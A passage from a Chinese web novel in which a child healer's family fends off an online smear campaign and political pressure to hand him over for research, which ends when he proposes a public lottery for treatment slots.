她深吸一口气,将回忆中的细节都说了出来。 【之前我妈妈患了异能崩坏症,家里的继续都用来给妈妈买药了,我们母女俩当时就住在翡翠星区春音街区,有住在翡翠星区的人,应该知道这是什么地方吧!我们家应该够得上普通平民四个字了吧!】 【如果不是他,我妈妈很有可能就撑不下去了,而他,什么都没有要我们的!这就是你们口中的只服务权贵吗?】 【你们可以骂我,但没有人可以侮辱他!】 …… 直到写完,她才发觉自己的手指还在颤抖。 她抖着手,想要通知江昭晏。 这些恶毒的话,绝对不能被又又看到! 但随即,她就发现自己的私信不断在增加。 谢偌愣了一下。 却还是先打开了私信。 【@治愈师,我听唐娜说了,当时就是您治好了我的孩子吧!您放心,我们都给您作证!绝不会让您被这些垃圾欺负!】 【@治愈师,宝宝谢谢你!你是世界上最善良最温柔的宝宝,你不要怕!我们都在你身后!】 【@治愈师,你当时治愈了我们的孩子,现在换我们来保护你!我们现在就去星网论坛上发帖!】 …… 谢偌怔怔地看着,视线逐渐模糊。 先前愤怒的内心,也因为这一条条真挚的感谢,而慢慢地平复下来。 就在这时,唐娜的私信又发了过来:【你快去论坛看看!】 谢偌心中一惊,以为又出了什么事情,连忙点开论坛。 而出乎她意料的是,首页的帖子竟然换了一批。 【我是第七军团一名普通的士兵,我叫艾拉,我患有异能失控症,我就是被治愈异能救下的普通平民!】 【我叫赛特,我是蒂奢星区的一名卖棉花糖的普通小贩,蒂奢星区病毒爆发的时候,我就是中毒者之一,我就是被治愈异能救下的普通平民!】 【我叫罗菲,我们是纳妮斯星系的一个普通家庭,我的女儿患有晶血症,她就是被治愈异能救下的普通平民!】 …… 一条条帖子整整齐齐,将那些恶毒的话都压了下去。 谢偌的眼眶又湿润了,鼻子也微微发酸。 他们都是又又救下来的人。 只有真正见过的人,才知道又又有多好。 他们一定会保护好又又的! 绝不让又又看到一丁点的恶意! 谢偌吸了吸鼻子,准备继续给江昭晏发信息。 却忽然听见身后传来熟悉的声音:“谢偌姐姐,你在干嘛啊?” 谢偌一惊,下意识将光脑藏起来。 “没……没什么!” 第74章 又又歪着头,看向谢偌藏在身后的光脑:“谢偌姐姐,你在藏什么啊?” 谢偌冷汗都快要下来了,努力装作若无其事的样子:“没藏什么啊。” “唔……” 小幼崽皱起眉头,觉得她很不对劲。 他眨巴了一下眼睛,忽然指向旁边:“谢偌姐姐,你看那边!” 谢偌毫无防备地转过头。 另一边的希尔跟又又默契十足,趁着她转头的瞬间,探手将她藏在身后的光脑拿了过来。 谢偌:“!!!” 又又本以为谢偌藏了什么好玩的东西,结果看到希尔手里的光脑后,一脸失望:“谢偌姐姐,你藏光脑干什么呀?” 话虽如此,他还是扒着希尔的手,朝光脑上的内容看去。 谢偌的心都提了起来。 满脑子都是他要是看到那些恶评怎么办? 小幼崽要是哭了,该怎么安慰他。 可是等了半天,又又脸上的神情却没有半分变化。 谢偌忍不住开口,小心翼翼地问:“又又,你还好吧?” “还好啊。”小幼崽茫然地抬起头,“这上面……是什么?” 谢偌:“?” 她忽然想起来。 对哦,又又还不识字! 可没等她放下心,小幼崽又将光脑递给希尔,满怀希望地看着他:“希尔哥哥,你能看懂吗?” 谢偌的心再次提了起来。 希尔沉默了一下,耳尖微微泛红:“帝国的文字,不一样……” 两个小文盲面面相觑。 谢偌:“……噗!” 她原本郁闷的情绪,瞬间消散了。 又又不满:“谢偌姐姐,你在嘲笑我们!” “没有没有。”谢偌努力忍住,“那你们先去玩,我再整理一下资料。” 又又郁闷地把光脑还给她。 等谢偌走开后,他才问希尔:“希尔哥哥,你有没有觉得,哥哥、姐姐,还有谢偌姐姐,他们今天都有点怪怪的?” 希尔摇摇头。 他眼中一向只有又又一个,并不怎么关注其他人。 “不行!”又又认真地说,“我一定要查清楚,他们在瞒着我什么!” 他看向希尔,委屈巴巴地看着他,“希尔哥哥会帮我吧?” 希尔毫不犹豫地点头:“会。” 只要是又又的要求,他永远都不会拒绝。 又又顿时笑了起来:“希尔哥哥最好啦!” 希尔的嘴角微微翘了起来。 又又拉过他:“来!我们先来商量一个计划!”- 与此同时,江家。 江从谦今天难得没有出门,而是坐在书房里,光脑屏幕散发的幽光,给他棱角分明的侧脸镀上了一层冷色。 “大哥!” 书房门被人“砰”地撞开。 江昭晏拖着江见微,风风火火地闯了进来,脸上是遮掩不住的怒容。 “你看到星网上那些言论了没有!” 她今天一早起来,就被江见微偷偷拉到一旁。 然后就看到星网上铺天盖地的,质疑又又的帖子。 看着那些恶毒的言论,她恨不得冲进星网,把那些人都揍一顿。 江见微已经用异能炸了一批,却还是赶不上这些帖子发出来的速度。 他意识到不对,连忙和江昭晏一齐来找大哥。 江从谦的目光从光脑上移开,灰眸扫过两人,声音比以往更沉:“又又怎么样了?” “我没跟他说,让他和希尔去星网上玩了。”江昭晏郁闷地说道。 江见微又补充道:“我给又又他们的全息舱里装了过滤器,他暂时不会知道这些。” 虽然没有和谢偌沟通过,但双方都不约而同地选择瞒着又又,不让他被这些事情伤害到。 江昭晏见他神色平静,忍不住皱起眉:“大哥,你都不生气的吗?” 江从谦没有回答,而是点开一块光屏,转向他们的方向:“你们先看看这个。” 两人疑惑地看去,却是瞳孔骤缩。 “这、这是……” 这竟然是异能医学会的几名权威医生的联名倡议。 他们声称,又又的治愈异能是改变异能医学界的关键钥匙,让江家“为了联邦人民的福祉考虑”,交出又又,用以研究治愈异能的成因。 全篇措辞冠冕堂皇,却是完全把又又当成了研究素材,根本没把他当成人。 “他们怎么敢!!” 江见微气得浑身发抖,江昭晏眸中更是杀气腾腾。 但江从谦的下一句话,却像是当头一盆冷水,浇在了两人头顶。 “这份倡议和星网上的那些帖子都是同时发出的,虽说恶毒极端,却只是丢出来试水的,并不是幕后主使者的真正目标。” 江昭晏愣住:“大哥,你的意思是,这是有人故意的?” 江从谦点点头:“他们用舆论造势,用民意来逼迫我们,就是为了推出后续那一份‘更温和’的倡议,如果我们不答应,民意的怒火会直接冲向我们,到时……” 他没有再说下去,但江昭晏却已经能够想象得到。 到那时候,他们还能护得住又又吗? 江见微见状,咬了咬牙:“如果,是元帅府呢?” 江从谦和江昭晏都愣了一下。 虽说如今看在又又的面子上,他们两方的关系有所缓和。 但遇到这种关键问题,江从谦却根本无法相信他:“你没看到那些帖子里都打着他江元帅爱民如子的旗号吗?谁知道他会不会为了人民,把又又交出去?” “不会吧……”江昭晏微微皱起眉头,“我都能看出来,这些人没安好心,全都是为了得到又又,控制又又……” 江从谦冷笑一声:“现在或许不会,但未来呢?一方是联邦民众,一方是又又一个人,你怎么知道,他会选谁?” 江见微张了张嘴,刚想说什么,莫管家便敲了敲门:“先生,江元帅来访。” 江从谦的神情顿时冷了下来:“他这时候来做什么?” 他站起身,“我下去见他。” “大哥,我跟你一起去!”江昭晏立刻说道。 连江见微也说道:“我也去!” 于是,三人走下来,果然看到坐在客厅的江砺元帅。 他看到三人脸上的神情,愣了一下,随即便意识到:“看来你们已经知道发生什么了?” 江见微下意识问道:“您是说星网上的那些帖子?” “帖子?”江砺愣住了,“什么帖子?” 这下轮到三人愣住了。 他们本以为是星网上的舆论发酵,传到了元帅府,父亲才会急忙过来。 没想到他竟然还不知道。 “那您过来找我们做什么?”江从谦毫不客气地问。 江砺没回答他,而是追问道:“你们说的,是什么帖子?” 江见微这才将星网上的那些恶毒帖子,拿给江砺看。 江砺一看,果然眉头紧锁,低声道:“果然如此……” 他抬起头,神情凌厉:“今天上午,联邦议会以完善异能分类体系为由,申请重新修订《异能法案》。” 江见微愣了一下:“这有什么不对吗?” 《异能法案》每隔一段时间就会进行修订,联邦人都习以为常了。 连江昭晏都没有觉得不对。 而江从谦却很快便意识到了:“这次不一样,他们这是想要增设治愈系异能这样一个大类别。” “而新增一个大类别,需要足够的数据样本,而整个联邦境内,唯一的治愈系异能者就只有又又,他们这是借着修订法案之名,对又又进行研究和采样。” 江砺点了点头,神情凝重:“一旦法案通过,我们就很被动了,现在看来,他们是想要赶在法案表决之前,提前布局舆论……” “好卑鄙!”江昭晏和江见微这才明白过来。 “不止如此,我的情报官还发现,第三军团和第五军团也有些蠢蠢欲动……” 江砺沉声道,“现在江家已经不安全了,元帅府那边我已经安排好了,你们今天就跟我过去。” 然而他的话说出来,现场却一片安静。 江昭晏和江见微偷偷看了眼大哥。 江从谦神情未变,淡淡道:“不止是江家不安全了,中央星系只怕也不见得安全。” 江砺看着他冰冷的眸光,瞬间明白过来。 他这哪里说的是中央星系,说的根本就是他这个当父亲的。 他再看向其他儿女那淡淡的防备,心里冰寒一片。 可他也明白,这不能怪他们,是自己当初做错了事,这才失去了孩子们的信任。 江砺的神情有些颓然,却仍旧说道:“这些人就是为了又又来的,你这里的安保毕竟不如元帅府,但凡有一点疏忽,就会造成不可挽回的后果……” 听见江砺这么说,江从谦也沉默了。 这也正是他最担心的事情。 “我知道你在担心什么。”江砺顿了顿,声音苦涩,“我作为元帅,为了联邦是我的使命,也只是我的使命,与我的孩子无关……” 当年的一念之差,令他悔恨终身。 而如今,是他唯一能弥补的机会。 于是,等又又和希尔商量好计划,准备去找哥哥姐姐实施的时候,却发现不管是书房还是训练室,居然都没有人。 后来还是希尔听到了楼下传来声音。 两人走下来,就发现现场氛围无比沉郁。 小幼崽疑惑道:“大哥、二姐、三哥,你们在干嘛啊?” 众人下意识看过去。 又又已经蹦蹦跳跳地下了楼梯,这才看到了江砺,小幼崽立刻礼貌打招呼:“爸爸,你好,你是过来做客的吗?” 江砺脸上的笑容越发苦涩。 江昭晏担心地看着他:“又又,你们不是在星网上玩吗?怎么这会下来了?” 难道是江见微的过滤器没有起作用,还是被小幼崽看到了星网上的消息,这才离开星网的? 又又眨了眨眼睛:“二姐,你们刚刚在说什么啊?” 几人对视一眼,最终还是江从谦走出来,问道:“又又,你愿意去元帅府住一段时间吗?” 江砺没想到江从谦会主动提起,眼中又惊又喜,连忙道:“又又,元帅府里你的房间早就准备好了,床单和被套都是你喜欢的蛋壳小鸡,你喜欢去星网玩的话,家里也有最新款的全息舱……” 这些话他已经在心里预演过很多回了,如今终于能说了出来。 然而又又却面露犹豫。 江砺心里咯噔一下,声音放软:“又又,你还有什么要求,可以跟爸爸说?” 又又却看向江从谦几人:“大哥、二姐和三哥去吗?” 听到又又担心的是这个,江砺松了口气,看向他们。 果然,江从谦几人都点点头:“我们都去。” 虽然他暂时相信了江砺,但不亲自守着小幼崽,他们怎么放心。 又又紧接着又问道:“那莫管家去吗?许异表哥去吗?01去吗……” 几乎把家里人都问了一遍。 得到所有人都去的回答,又又这才放下心,欢呼道:“好耶!” 见到又又脸上毫无阴霾的笑容,几人也跟着露出笑容。 但下一秒,又又就拉住希尔,一迭声地问道:“希尔哥哥,你离元帅府近吗?以后还能来找我玩吗?” 江从谦等人:“……” 江砺的心情也有些复杂。 在小幼崽心里,恐怕只有这些他提到的人,才是他的亲人吧。 但他还是说道:“外事区离元帅府不远,我会让守卫录下他的身份,以后仍旧可以来找你玩的。” “那太好啦!”又又迫不及待道,“那我们现在就搬家吧!” 江昭晏没好气地戳了一下他的额头:“搬家哪有那么快!” 江砺却道:“家里早就给你们准备好了生活用品,带一些你们常用的物品就好,车队我都已经安排好了!” 虽说这些人不至于这么丧心病狂,但未免夜长梦多,江砺还是打算先把人带回去保护起来。 有莫管家在,很快就将东西收拾好,一行人直接回到了元帅府。 正如江砺所说,元帅府的安保措施极其严密。 又又住在这里,安全性完全能够保障。 而宁叔得知他们回来,更是喜出望外。 他特意做了一桌大餐,然后便望眼欲穿地等着他们回来。 看到车队进入元帅府,他立刻快步向前:“元帅,大少爷,二小姐,三少爷……” 看到宁叔,江从谦几人的脸上都露出笑容:“宁叔!” 对于这位照顾他们长大的管家,他们心中是充满亲近和敬意的。 又又眨巴着眼睛,看着这位面容慈和的老人。 宁叔的目光落在他身上,眼底都盈满了泪水:“小少爷……宁叔总算见到你了!” 当初又又被掳走,对宁叔的打击也很大。 又又刚出生身体就不太好,是全家人都悉心照顾的宝贝。 夫人身体不太好,那时候蔚蓝星区的情况又不好,宁叔便也不敢假手他人,都是自己亲自照顾。 刚出生的小少爷软绵绵的,脾气却特别好,不爱哭,总是笑眯眯的。 宁叔每次看到他笑,心都要化了,对他疼爱得不行。 这些年,只要一想到又又被掳走后,会遭遇什么,他就吃不香睡不安。 如今,看到又又平安归来,他心里缺的那块地方,也终于被填满了。 又又看到宁叔,脑海中顿时划过一些碎片记忆。 那是还没有这样苍老的宁叔,一边抱着他,一边哼着童谣哄他睡。 这让他心里瞬间生出了亲近感,甜甜地喊道:“宁叔!” “哎!”宁叔被小幼崽这么奶声奶气地一喊,只觉得跟喝了蜜一样甜,连忙伸手从江昭晏手中把小幼崽抱过来,“小少爷,我带你去看看你的房间,你要是有哪里不喜欢,你就跟宁叔说……” 眼看着宁叔就这么把人抱走了,江砺有些哭笑不得。 还好有全能的莫管家,迅速接过了安置的任务。 江砺这才带着他们去书房,去处理剩下的事情。 江从谦说道:“如今看来,这幕后主使者极有可能是议会,不管星网上的舆论,还是异能医学会,恐怕都是为了能顺利通过修订《异能法案》的表决。” 江砺点点头:“我已经安排了霍影去处理星网的事情,等……” 他话还没说完,便意识到了什么,“霍影!” 一道阴影缓缓凝结成人形,对江砺微微躬身:“元帅。” 江砺皱起眉头:“不是让你去处理星网上的舆论吗?怎么这么快就回来了?” 然后,他们就看到,霍影那张向来没什么表情的脸上,缓缓露出了一抹迟疑和茫然:“元帅,事情……已经解决了。” 众人:“???” 霍影打开光屏,只见原本布满了各种恶毒帖子的论坛,如今却是一排排【我就是被治愈异能救下的普通平民!】 除此之外,便是各种沙雕网友的天下。 【治愈后是什么感觉啊?会觉得异能变得更强了吗?】 【拜拜@治愈师,保佑我通过体检,成功上岸!!】 【按比例来看,治愈的普通平民比权贵多诶,完蛋了,一会不会又出现新帖,说治愈师看不起权贵吧[狗头]】 …… 江砺等人也跟着沉默了。 他们严阵以待,忧心忡忡的情况,竟然就这样轻易被解决了?! 那些人试图用民意逼迫他们,却不想民心一直在又又这边。 这让江砺不禁想起了自己当初成为元帅时的情景。 他的脸上缓缓露出骄傲的笑容。 又又,不愧是他的儿子!- 只是舆论的问题虽然解决,真正的危机却还一直悬在他们头顶。 不过江砺他们也不是吃素的。 第二天,联邦议会便遭到了江砺的弹劾。 这些年,议会和军部也算是井水不犯河水,至少在明面上关系看着还算不错。 以至于议会的官员们,忘记了当初江砺是如何成为元帅的。 他手腕强硬,在军部声望极高。 再加上还有江从谦等人的辅助,议会被打得措手不及,狼狈不堪。 而议会自然也不会坐等挨打。 于是,第二天,议长霍尔德便带领一众人拜访元帅府。 “他来得正好!”江昭晏站起身,就咬牙切齿地活动手指。 江从谦却按住她的肩膀,看向江砺:“我听说,这个霍尔德不太好对付。” 江砺点点头,沉声道:“他看起来低调,但他能在议会安安稳稳地做了这么多年议长,手腕不容小觑。” 江从谦心中有数,跟江昭晏道:“你去保护又又,他交给我和……父亲应对。” 这种时候,江从谦也顾不上和江砺的龃龉了,为了保护小幼崽,他们父子俩必须合作。 江昭晏目送他们离开,然后便去找又又。 此时的又又,正蹲在许异身旁大快朵颐,希尔则一如往常般静静地守在一旁。 经过又又这段时间的努力,许异身体里那朵手掌大的黑色莲花,已经渐渐只剩下指头大小了,按照又又的估计,再吃一顿,肯定就能痊愈了。 而许异的身体,也许久都没有再出现伤痕了。 又又打了个饱嗝,就看到姐姐怒气冲冲地走进来。 “姐姐,你怎么啦?” “没什么。”江昭晏立刻调整表情,扯出一个笑容,“你治完了?要去玩一会吗?” 又又眨巴眼睛:“姐姐,我们就在房间里玩,你有事就先去忙吧。” “姐姐没事。”江昭晏见状,便退出房间,“那你们在房里玩吧,姐姐去外面。” 小幼崽乖乖挥手:“好。” 然而,等江昭晏一走,他立刻拉着希尔和许异凑到一起,小声密谋:“姐姐就是有事瞒着我,这次我一定要找出来!” 许异看了眼在房间外的江昭晏,也小声道:“你要怎么找?” 小幼崽脸上顿时露出狡黠的笑容。 许异心里生出一种不好的预感:“又又,你……你要干嘛?” 小幼崽:“许异表哥,你的异能不是致幻吗?一会你就在这里使用异能,做出我们在玩耍的样子,然后让希尔哥哥把狼狼叫出来,我们用狼狼的隐身从窗户那边溜出去!” 许异:“!!!” 好家伙! 虽然元帅府里很安全,但又又这胆子也太大了点吧! 小幼崽眨巴着水汪汪的大眼睛,小手交握,做出祈祷的姿势:“许异表哥,你一定会答应我的吧!” 许异:“……” 他抵挡不了,只能将求助的目光看向希尔:你来劝劝这个胆大包天的崽吧! 但下一秒,他就听见希尔斩钉截铁地说道:“我听又又的!” 许异:“……!” 第75章 许异最终也没抵挡小幼崽的祈求攻势,答应了制造幻境。 为了留出幻境的空间,也以防江昭晏会发现。 又又和希尔便挡在了门边。 小幼崽还是第一次见人制造幻境,绿眸眨也不眨地看着许异。 只见许异闭上眼睛,手掌中异能催发出一颗光球。 光球中首先浮现出又又的模样,从栗色的小卷发开始,然后是灵动的绿眸,像是有一支画笔,在光球中一点点描摹又又的模样。 再之后是希尔,最后才是许异自己。 等到三人的身影都出现在了光球中,许异才让他们慢慢动起来。 又又瞪大了眼睛,看着光球里的“自己”拿起一个玩偶,递给旁边的“希尔”。 这种感觉太奇妙了。 小幼崽激动地差点叫出声,好在及时想起来,不能够打搅许异,便立刻捂住了自己嘴巴,用力地扯了扯希尔的袖子。 大约过了十来分钟,许异才睁开眼睛。 他的额头已经泛起细密的汗珠,用力地喘了口气。 但他也不敢立刻放松,这个幻境比他想象中的要耗费异能,要是失败了,他就没有足够的异能再做一次了。 他仔细地检查了一遍手中的光球,确认没有问题后,再次催动异能,光球慢慢变大,等到落地时,竟然成了一个个与真人等高的幻影,甚至他们口中还有说话的声音。 又又这才将捂着嘴的手放下来,眼睛亮亮地看着许异:“许异表哥,这就好了吗?” “好了。”许异点点头。 听到他这样说,小幼崽才凑上前,看着一模一样的“自己”。 这个幻境连细节都极其逼真,肉眼看去几乎无法分辨真假。 又又好奇地伸出手指戳了戳。 可是,手指却直接穿透了幻影。 又又兴奋不已:“许异表哥,你好厉害啊!!” 许异抿着唇,微黑的脸上露出一抹羞涩的笑容。 从前,因为自蚀症的关系,他每次使用异能,身上的伤口就会增加,所以他很少使用异能,就算用,也只会制造最简单的幻境。 他也是第一次做这样耗费异能的真实幻境。 不过能帮到又又,他还是很开心的。 小幼崽好奇地在幻影上戳了戳去,玩得不亦乐乎。 许异却神情严肃道:“这个幻境最多只能维持二十分钟,而且只要二姐一进来,就一定会发现的!” 他本意是想告诉又又,幻境不稳定,他们要尽快回来。 谁知,小幼崽一听,便立刻紧张道:“那希尔哥哥,你快叫狼狼出来,免得被二姐发现,我们就走不了啦!” 许异:“……” 有了又又的话,希尔毫不犹豫地唤出了银狼。 银狼从他身侧的空气中轻盈地跃了出来。 只是一出来就看到两个主人,两个又又,银狼的紫眸瞬间张大,发出低沉的咆哮声。 “狼狼别怕!这是幻影,是假的!”小幼崽抱着银狼的脖子,小声地安抚它。 银狼疑惑地“呜”了一声,又仔细嗅闻了半天,这才重新亲昵地蹭了蹭又又。 随后,它身上的毛发微微一闪。 许异很快便感觉到,自己的身体像是被蒙上了一层泛着银光的膜。 “许异表哥!我们出发吧!”小幼崽被银狼驮在背上,握着拳头小声说道。 出发? 许异这才想到这个问题。 江昭晏就在门外,他们要是正常出门,肯定会碰到她的。 虽然银狼能隐身,但他们的呼吸,行动时细微的动静,却无法隐藏。 以江昭晏的能力,肯定会发现的! 可还没等他想出对策。 小幼崽已经抱住了银狼的脖子:“狼狼,我们出发咯!” 话音落下。 银狼便轻巧地从窗户跃了出去。 许异:“!!!” 等等! 这是二楼啊!! 他猛地转头,却见希尔竟也紧随其后,银发在空中划出一道利落的弧线,随后便稳稳地落在了花园的草坪上。 许异:“……!” 不是!你怎么也跳了!! 他看向窗子下方,小幼崽正在朝他招手,嘴巴无声地做口型:快来! 许异一咬牙。 助跑,前冲,攀上窗户,然后…… 狼狈地爬了下去。 最后落地的时候,还差点摔一跤。 “许异表哥好棒!”小幼崽眉眼弯弯,“啪啪啪”地给他鼓掌。 一旁的希尔默默地看过来。 “希尔哥哥也好棒!”又又立刻转向他,主打一个端水。 许异喘了口气:“我们……现在要去哪里?” 又又刚想说话,希尔却神情一凛:“有人!” 三人在银狼的掩护下,立刻钻到旁边的树丛里。 三只脑壳齐齐从树丛里探出来,却见不远处,江砺和江从谦正和一群人往屋子里走去。 “哥哥和爸爸看起来很不高兴……”小幼崽皱起眉,小声道,“那些人是谁啊?” 许异和希尔都摇了摇头。 小幼崽立刻决定:“那我们就跟过去看看!”- 正当三人偷偷摸摸靠近时。 江砺已经和霍尔德等人进入了会客室。 霍尔德议长的年纪和江砺相仿,有一双天生含笑的深蓝色眼睛,略长的金发垂在肩头。 他身穿笔挺的礼服,优雅地拄着手杖,浑身散发着世家特有的从容气质。 “贸然登门,实在失礼,请元帅阁下见谅。”霍尔德微微欠身,笑容的弧度恰到好处。 江砺颔首回礼:“霍尔德议长客气了。” 他的目光却扫过霍尔德的身后。 异能医学会的会长卡森。 中央星系和乌姆星系的总督。 以及各个组织的领头者。 这些人单拎出来一个,能量都不容小觑。 更何况是齐刷刷一起过来。 江砺与江从谦对视一眼,都从对方眼中看到了凝重的神色。 看来霍尔德这次上门,是势在必得。 寒暄过后,霍尔德的手杖轻轻点地:“我身旁的这几位,阁下想必不陌生吧?” 卡森上前一步,爽朗地笑道:“元帅阁下,日安,上次与您见面,还是在与帝国的战场上,我们异能医学会的医者们与您麾下的战士们并肩作战,如今想起来,还让人热血沸腾!” 卡森说的这场战役,是江砺打过的最艰苦的一场战役。 当时,卡森亲自带领异能医学会的医者们,奔赴战场,那一战,不止各个军团的战士死伤无数,这些异能医学会的医者们也牺牲了不少。 江砺自然是敬重卡森和异能医学会的医者们。 但卡森今天提起这事,却绝不仅是叙旧这么简单。 他便避重就轻地转移了话题。 霍尔德见状,摩挲着手杖,不紧不慢地说道:“元帅阁下战功赫赫,整个联邦都知道,不过我最敬佩阁下的,却是元帅对子女的教育,您的几个孩子都各有出息,哪像我家那个不孝子……” 说到这里,他话锋一转,状似不经意道,“对了,令郎令爱不在家中吗?怎么不一同出来?” 江砺与江从谦都是心中一凛。 江砺笑容淡了淡:“那几个孩子年纪还小,这些公务不便让他们掺和!” “阁下还是这般有原则。”霍尔德却仿佛没有听出他话语中的拒绝,笑容不变,“不过我们今日过来,的确是为了令郎遇安而来的。” 江砺没想到霍尔德直接点名来意,也就不再和他虚以为蛇,毫不犹豫地拒绝:“遇安年纪还小,恐怕难当重任。” “所谓英雄出少年,阁下怎么不问问他自己的意见?”霍尔德毫不退让,“我们并无恶意,就算过往因政见有所分歧,但大家都是为了联邦,阁下又何必如此防备?” 江砺怎么会相信政客说的鬼话。 不管霍尔德怎么说,他便只用又又年纪小,推拒过去。 这时,卡森却忍不住了:“元帅,恕我直言,江遇安虽然是您的幼子,但他的异能对于整个联邦来说,却无比重要,您把他藏在家里,与浪费天赋有什么区别!” “不如让他和我们合作,这是为了整个联邦的未来!您向来忠诚于联邦,我以为您应当比我更清楚这点才是。” 江砺脸色沉下来:“照卡森会长这样说,我如果不让又又和你们合作,那就是背叛联邦?” 卡森脸色涨红,硬邦邦道:“我并没有这个意思!” 眼看气氛剑拔弩张,霍尔德才出来打圆场:“哎,阁下误会了,卡森会长只是心系联邦,所以口不择言了些,您为联邦的付出,我们可都是看在眼里。” “只是……”他顿了顿,状似无奈地说道,“卡森会长的话也不是没有道理,说到底,遇安小少爷是您的亲生儿子,他自然也更亲近军部,我自然相信您处事公正,但有时人心难测,难保旁人会诋毁,更甚者,若是引发争端,那就不好了……” 霍尔德言语轻柔,但话语中的威胁却十分明显。 他分明就是说,如果不把又又交出来,便是军部与整个联邦为敌。 霍尔德太懂得怎么用大局绑架人了。 军部固然强势,却也有软肋。 江遇安的治愈异能再厉害,终归只有一个人。 异能医学会掌控着联邦异能医学最前沿的研究所,遍布所有星区的医疗工作者,以及异能特效药的配额。 再强悍的军队,也是需要医疗官的,战士的异能再强,一旦受伤生病,也是需要药物的。 卡森甚至只需要将药物晚配送几天,就能让边境军团的死亡人数迅速上升,甚至引发溃败。 还有星系总督,与各军团分掌军政,一旦他们想要使绊子,也是军部无法承受的。 到时候,舆论会将独|裁的帽子死死地焊在江砺的头上。 就算他此前威望再高,又能撑多久? 只怕军部内部就会抢先乱起来。 江从谦脸色瞬间一变。 江砺下颚绷紧,目光冷冽地看着霍尔德。 霍尔德却只是慢悠悠道:“阁下,我们不是在为难您,就像我之前说的,我们都是为了联邦,本该是一条船上的盟友,就像您和卡森会长当初在战场上并肩作战那样……” “您说,对吧?” 霍尔德的话极具煽动性。 江从谦紧张地看向父亲,就怕他被说动,真的将又又交了出去。 谁知,江砺却忽然笑了:“霍尔德议长,您说得对,我们的确都身处联邦这条船上,但是——” 他话锋一转,“有人想凿船,或者拿凿船威胁我,也得掂量掂量自己的本事,看我答不答应。” 霍尔德脸上的笑容顿时僵住。 他望着江砺眼底翻涌的狠厉与冷酷,突然意识到了,自己还是低估了眼前这个男人。 江从谦不禁在心里松了口气。 就在这时,江砺忽然察觉到了什么,目光朝窗户看去,神色一厉:“谁?!” 又又他们才刚刚钻到窗户这边,没想到才偷听了一两句,就被发现了。 小幼崽当机立断:“快撤!” 但已经来不及了。 江砺的近卫掠出窗户,直接给他们仨逮了个正着。 看着一脸心虚的又又,还有旁边羞愧的许异和面无表情的希尔。 江砺忽然觉得一阵头痛。 都不用猜,肯定是又又撺掇的! 这个胆大包天的小幼崽!!! 又又白皙的脸上沾了几道灰迹,栗色的小卷发里还支棱着几片草叶。 看着江砺和江从谦严肃的脸,他挠了挠脸颊,讪笑着挥了挥手:“爸爸!大哥!你们怎么在这里啊?” 江砺:“……” 江从谦:“……” 这时,霍尔德眸光一闪:“这就是遇安了吧,果真是机灵可爱。” 话音未落,小幼崽便疑惑地问道:“谁是遇安?大叔你是不是认错人了?” 霍尔德:“……” 但他很快就反应过来,换上更亲和的语气,改口道,“我忘了,我应该叫你又又才对,又又,你可以叫我霍尔德叔叔。” 他这样和气的态度,或许对别的孩子管用。 然而小幼崽却皱起眉头,义正辞严道:“大叔,你刚刚明明就叫错了名字!星网上说,拐卖小孩的坏蛋就是这样骗人的!你该不会想拐走我吧!” 霍尔德:“……?” 看到霍尔德吃瘪,江砺眸底浮现出一点笑意。 只是他却没有掉以轻心,还是让近卫将又又他们带走。 “慢着!”卡森却叫住了他,“元帅,既然当事人就在这里,干脆让他一起进来商量吧,否则,我们空手而归,回去也没法向下面的人交代。” “卡森!!”江砺神情沉下来,驰骋沙场多年的气势压得在场众人一时都说不出话。 这时,又又却忽然开口了:“你们不就是想让我治疗更多的人吗?” 他这话一说出口,所有人都倏地看向他。 江砺厉声道:“又又!别乱说话!” 小幼崽委屈地撅起嘴。 霍尔德迅速反应过来,笑着道:“又又,你别听你爸爸吓唬你,你想说什么都可以说!” 小幼崽眨巴了一下眼睛,看着大哥和爸爸脸上的焦急和担忧。 他刚刚虽然没听见多少,却也能从霍尔德他们的态度中感受到,他们在逼迫大哥和爸爸。 大哥和爸爸保护他,他也想要保护他们。 于是,在众人目光灼灼的注视下,小幼崽慢吞吞地开口道:“我们可以抽签嘛!” 众人:“???” 抽签?! 这是什么意思! 反倒是江从谦立刻就理解了又又的意思,眸光骤然亮起。 这个法子妙啊! “又又说得对,既然诸位担心军部会垄断治疗权,不如将所有名额公开抽签摇号,联邦境内所有符合条件的患者,无论出身贵贱,一律平等参与。” 他唇角露出一抹笑意,“这总该算得上你们口中的公平公正了吧?” 这话一出,现场顿时炸开了锅。 霍尔德脸色骤变,笑容几乎挂不住。 原本在他看来,这一局江砺不管选什么都是死局。 如果他强硬拒绝,有异能医学会和政界,足够让他喝一壶! 如果他迫于无奈答应,他们手握联邦独一份的治愈异能,他能借此捞足政治资本,而且,有这个小崽子在手里,江砺也得要投鼠忌器。 可他没想到,竟然被这个孩子一句话,给搅了个天翻地覆! 他的目光扫过卡森等人。 卡森皱起眉头,显然不太愿意。 可他们身后那些组织的领头人却有些动心了。 他们原本也是跟着霍尔顿他们过来助威,就算他们成功了,大头也是议会和异能医学会,他们顶多能喝点汤。 可如果是抽签的话,大家的机会都差不多。 与其以后看异能医学会和议会的脸色,倒不如各凭运气,万一中签了,也是名正言顺。 于是,他们瞬间抛弃霍尔德和卡森,围到了江从谦的身边。 “这个主意倒是不错,不过怎么能保证抽签足够公平呢?” “患者的情况也有轻重缓急,难道也是一视同仁吗?轻症患者还能用药物压制,重症患者却是危在旦夕,对重症患者是不是不太公平?” “如果抽到签了,却因意外无法过来,又该怎么办?” …… 众人的问题一个接一个。 好在江从谦的异能是脑域强化,全都记住了,甚至还能有条不紊地一个个回答。 “关于抽签的程序,我们可以共同委托第三方机构开发设计,再组成监督组……关于轻重症,或许可以引入不同权重……” 眼看他们讨论得热火朝天。 霍尔德牙关紧咬,几乎维持不住世家的风度,最后只能脸色难看地说了句“告辞”,便和卡森一起匆匆离开了。 江砺看着他们的背影,眸光冷厉。 但转向小幼崽的时候,却又恢复了温柔慈爱的模样。 “又又真厉害!” 小幼崽叉着腰,很是臭屁:“那当然!” 江砺摸了摸他头顶翘起来的呆毛,眸中浮现出骄傲的神色。 在所有人算计着得失利益时,只有又又想到的是治疗患者。 这场与霍尔德的博弈,赢的并不是权谋,而是又又对待患者赤诚的心- 治愈名额将会进行全民抽签的消息传出后,整个联邦都沸腾了。 星网论坛被激增的流量差点搞瘫痪。 街头巷尾也都在讨论这个事情。 虽说治愈系异能者只有一个人,这种名额注定不会太多,但所有人都有了公平抽签的机会。 先前网上的那起风波虽然暂时消停。 但还是有很多人心里没底,担心这只是一场作秀。 毕竟公平这两个字说得简单,可对于普通民众来说,又哪里有真正的公平可言。 